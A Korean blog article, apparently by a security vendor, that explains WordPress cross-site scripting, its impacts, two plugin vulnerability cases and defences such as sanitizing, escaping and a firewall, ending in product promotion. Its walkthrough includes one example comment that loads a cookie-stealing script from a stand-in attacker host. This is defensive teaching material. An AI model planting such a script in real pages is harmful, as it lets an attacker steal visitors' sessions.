크로스 사이트 스크립팅(Cross-Site Scripting), 줄여서 XSS는 웹 애플리케이션에서 발견되는 대표적인 보안 취약점입니다. 워드프레스 XSS 익스플로잇을 이용하면 공격자는 신뢰할 수 있는 개체인 것처럼 위장하여 악성 콘텐츠를 삽입할 수 있습니다. 또한 XSS 취약점은 사용자와 웹사이트 간의 상호작용까지 위협합니다. 공격자는 정상적인 사용자로 가장해 악성 콘텐츠를 업로드하고, 사용자의 인증 정보와 데이터를 탈취하며, 웹사이트를 변조해 브랜드 이미지에 심각한 손상을 입힐 수 있습니다.
실제로 소프트웨어 분석을 전문으로 하는 한 기업이 워드프레스 v5.11 이하 버전에서 발견된 크로스 사이트 스크립팅 취약점의 세부 정보를 공개하면서, 워드프레스 XSS 익스플로잇은 최근 큰 화제가 되기도 했습니다.
워드프레스 XSS 공격의 유형과 작동 방식
XSS 취약점은 가장 흔하게 관찰되는 보안 취약점 중 하나임에도 불구하고, 역설적으로 가장 많이 간과되는 취약점이기도 합니다. XSS는 사용자(또는 사용자로 위장한 해커)가 임의 입력이 가능한 페이지에 악성 코드를 삽입할 수 있게 하는 사이버 보안 결함입니다.
XSS 익스플로잇은 크게 저장형(Stored)과 반사형(Reflected) 두 가지로 분류됩니다.
- 저장형 크로스 사이트 스크립팅(Stored XSS): 해커가 취약한 페이지에 악성 스크립트를 삽입해 두면, 아무것도 모르는 피해자가 해당 페이지에 방문할 때마다 스크립트가 실행됩니다.
- 반사형 크로스 사이트 스크립팅(Reflected XSS): 공격자가 단일 HTTP 요청 안에 악성 코드를 삽입하고, 서버가 이를 실행 방지 조치 없이 그대로 응답에 포함시킬 때 발생합니다. 반사형 XSS의 특징은 삽입된 페이로드가 웹 애플리케이션 어디에도 저장되지 않는다는 점입니다.
XSS 공격 진행 과정 예시
- 해커(H)가 여러분의 웹사이트에 계정을 생성합니다.
- H는 웹사이트에 저장형 XSS 취약점이 있음을 발견합니다. 댓글에 HTML 태그가 포함되면 태그가 그대로 출력되고, script 태그도 실행되는 구조입니다.
- H는 게시글 댓글란에 다음과 같은 script 태그가 담긴 텍스트를 삽입합니다:
I am in love with your website <script src="https://mallorysevilsite.com/authstealer.js"> - 사용자(U)가 해당 댓글이 달린 페이지를 로드하면 script 태그가 실행되어 U의 인증 쿠키를 탈취합니다.
- 탈취된 쿠키는 H의 비밀 서버로 전송되고, 해커는 아무것도 모르는 사용자 U로 위장할 수 있게 됩니다.
워드프레스 XSS 공격의 피해 결과
XSS 익스플로잇으로 인해 웹사이트 관리자 권한을 잃고 잠길 수도 있습니다. 또한 해커가 관리자로 위장해 브랜드 이미지를 훼손하는 데 악용될 수도 있습니다. XSS 취약점을 통해 해커가 할 수 있는 일은 끝없이 많습니다. 대표적인 피해 사례들을 살펴보겠습니다.
쿠키 탈취
쿠키 탈취는 XSS 취약점의 가장 흔한 악용 사례입니다. 쿠키는 사용자와 웹사이트에 특화된 데이터를 담고 있는 작은 파일입니다. 해커는 탈취한 쿠키를 이용해 정상 사용자로 위장한 뒤, 접근 권한을 악의적인 목적으로 사용할 수 있습니다.
비밀번호 유출
비밀번호 관리자는 사용자가 여러 웹사이트의 계정을 편리하게 관리할 수 있도록 비밀번호를 자동 입력해 줍니다. 해커는 이 취약점을 이용해 가짜 비밀번호 입력 필드를 만들 수 있습니다. 비밀번호 관리자가 자동으로 비밀번호를 채워 넣으면, 해커는 이를 읽어 자신의 도메인으로 전송합니다. 그结果 해커는 정상 사용자로 위장해 웹사이트의 정보에 접근할 수 있게 됩니다.
포트 스캔
XSS는 취약한 웹사이트를 방문한 사람의 로컬 네트워크를 대상으로 포트 스캔을 실행하는 데에도 악용될 수 있습니다. 네트워크 접근에 성공하면 공격자는 네트워크상의 다른 기기들까지 해킹할 수 있습니다. 이러한 공격을 실행하기 위해 공격자는 내부 네트워크를 스캔하고 그 결과를 공격자에게 보고하는 코드를 삽입합니다.
크로스 사이트 요청 위조(CSRF)
크로스 사이트 요청 위조(CSRF)는 공격자가 최종 사용자를 강제로 원치 않는 작업을 수행하게 만들 수 있는 능력을 제공합니다. 웹사이트의 유형에 따라 공격자는 연결 요청, 메시지 전송, 로그인 자격 증명 변경, 암호화폐 전송, 소스 코드 저장소에 백도어 설치 등을 시도할 수 있습니다.
키로거(Keylogger)
JavaScript는 키보드 입력을 가로채는 데 활용될 수 있습니다. JavaScript는 코더가 취약한 페이지에서 사용자가 수행하는 키 입력을 기록할 수 있는 기능을 제공합니다. 일부 상용 웹사이트는 클릭, 모바일 제스처, 입력 형태로 방문자의 움직임을 기록할 수 있는 코드를 제공하기도 합니다. 이런 코드가 악의적인 목적을 가진 자들의 손에 들어가면 치명적인 결과를 초래할 수 있습니다.
워드프레스 XSS 공격 실제 사례
XSS는 매년 수천 개의 웹사이트에 악의적인 행위자들이 백도어로 침입할 수 있게 해주는 가장 흔한 취약점입니다. 최근 발생한 워드프레스 XSS 익스플로잇 사례 몇 가지를 소개합니다.
Slimstat 플러그인 취약점 (2019년 5월)
Slimstat은 인기 있는 웹 분석 플러그인으로, 최근 저장형 XSS 취약점에 노출된 것으로 밝혀졌습니다. Slimstat은 웹사이트 분석을 실시간으로 추적하며, 접속 로그, 재방문 고객 및 등록 사용자 통계, JavaScript 이벤트 등을 모니터링하고 보고합니다. 이 취약점을 악용하면 해커가 얼마나 방대한 웹사이트 데이터에 접근할 수 있는지 상상해 보십시오.
해당 취약점은 4.8 버전 이하에 존재했으며, 인증되지 않은 방문자 누구나 플러그인의 접속 로그 기능에 임의의 JavaScript 코드를 삽입할 수 있게 허용했습니다. 최신 버전의 워드프레스를 사용하고 Astra WAF의 보호를 받고 있던 웹사이트들은 공격으로부터 안전했습니다.
관련 자료: 인기 플러그인 Slimstat, XSS에 취약
Facebook Messenger Live Chat
Zotabox의 FB 메신저 라이브 채팅에서 지속형(persistent) XSS 취약점이 발견되었습니다.
워드프레스에서 AJAX 기능은 페이지를 새로고침하지 않고도 스크립트와 데이터를 주고받을 수 있게 해줍니다. 문제는 update_zb_fbc_code 함수가 누구에게나 접근 가능했다는 점입니다.
wp_ajax_update_zb_fbc_code 함수는 권한 있는 사용자 전용이고, wp_ajax_nopriv_update_zb_fbc_code는 권한 없는 사용자용입니다. 그런데 두 함수 모두 동일한 "update_zb_fbc_code" 함수를 사용합니다. 이로 인해 로그인 여부와 관계없이 모든 사용자가 플러그인 설정을 수정할 수 있었습니다. 악의적인 행위자는 이 취약점을 이용해 더 높은 권한으로 기밀 정보에 접근할 수 있습니다.
관련 자료: Facebook Messenger Live Chat의 치명적인 XSS 취약점
워드프레스 XSS 공격 예방 방법
오늘날과 같은 사이버 위협의 시대에 보안을 소홀히 하면 매우 큰 대가를 치르게 됩니다. 강력한 데이터 살균(Sanitizing) 및 검증(Validating) 체계는 XSS, CSRF 같은 유형의 익스플로잇으로부터 웹사이트를 보호할 수 있습니다. 구체적인 예방 방법을 알아보겠습니다.
워드프레스 파일 업데이트
WP v5.11 이하 버전과 관련된 취약점 문제를 해결하는 가장 빠르고 쉬운 방법은 워드프레스를 최신 버전으로 업데이트하는 것입니다.
입력값 검증
서버로 전송하기 전에 모든 입력 데이터를 검토하고 검증하십시오. 검증된 신뢰할 수 있는 사용자로부터만 입력을 받아야 합니다. 예를 들어, 사용자가 입력한 이메일 주소를 검증하려면 다음 함수를 활용할 수 있습니다.
Filter_var PHP 함수Filter_var($_GET['email'], FILTER_VALIDATE_EMAIL)is_email
데이터 살균(Sanitize)
HTML 마크업을 허용하는 사이트에서는 사용자가 입력한 데이터를 살균(sanitize) 처리하는 것이 강력히 권장됩니다. 잠재적으로 유해한 마크업을 제거함으로써 데이터가 사용자나 데이터베이스에 피해를 주지 않도록 보장할 수 있습니다. 워드프레스는 신뢰할 수 없는 데이터 입력을 걸러낼 수 있는 훌륭한 기능들을 제공합니다. 데이터 살균에 사용할 수 있는 WP 명령어 목록은 다음과 같습니다.
sanitize_emailsanitize_file_namesanitize_text_fieldesc_url_rawsanitize_optionsanitize_keysanitize_mime_typewp_ksesSanitize_meta
데이터 이스케이프(Escape)
데이터 이스케이프란 입력된 데이터를 검열하여 데이터 보안을 확보하는 것을 의미합니다. 데이터의 핵심 문자들이 악의적인 방식으로 잘못 해석되지 않도록 보장합니다. 워드프레스가 제공하는 5가지 기본 이스케이프 함수는 다음과 같습니다.
esc_htmlesc_urlesc_jsesc_attresc_textarea
출력 시 데이터 인코딩
사용자가 입력한 데이터를 출력하는 모든 HTTP 응답을 인코딩하십시오. 이렇게 하면 해당 데이터가 능동적 콘텐츠(active content)로 해석되는 것을 방지할 수 있습니다. 인코딩은 단순히 모든 문자를 해당 HTML 엔티티 이름으로 변환하는 것입니다. Content-Type 및 X-Content-Type-Options 헤더를 사용하면 브라우저가 응답을 의도된 방식으로 해석하도록 보장할 수 있습니다.
웹 애플리케이션 방화벽(WAF) 사용
웹사이트에 보안 요원을 두는 것은 언제나 도움이 됩니다. WAF(Web Application Firewall, 웹 애플리케이션 방화벽)는 잠재적 취약점으로부터 보안을 제공합니다. Astra WAF는 악성 트래픽을 필터링하고 웹사이트에 지능형 보호를 제공합니다. XSS, SQLi, CSRF, 악성 봇, OWASP Top 10 및 100가지 이상의 기타 사이버 공격을 차단합니다. 저희 지능형 방화벽은 웹사이트 방문 패턴을 감지하고 악의적인 의도를 가진 해커를 자동으로 차단합니다.
정기적인 멀웨어 검사
정기적인 멀웨어 검사는 위협을 미리 경고받을 수 있게 해줍니다. Astra WordPress Security Suite는 클릭 한 번으로 악성 파일을 표시해 주는 온디맨드 멀웨어 스캐너로 완벽한 보호를 제공합니다. 게다가 저희 지능형 멀웨어 스캐너는 검사를 거듭할수록 계속 진화합니다. 지금 Astra 데모를 신청해 보세요.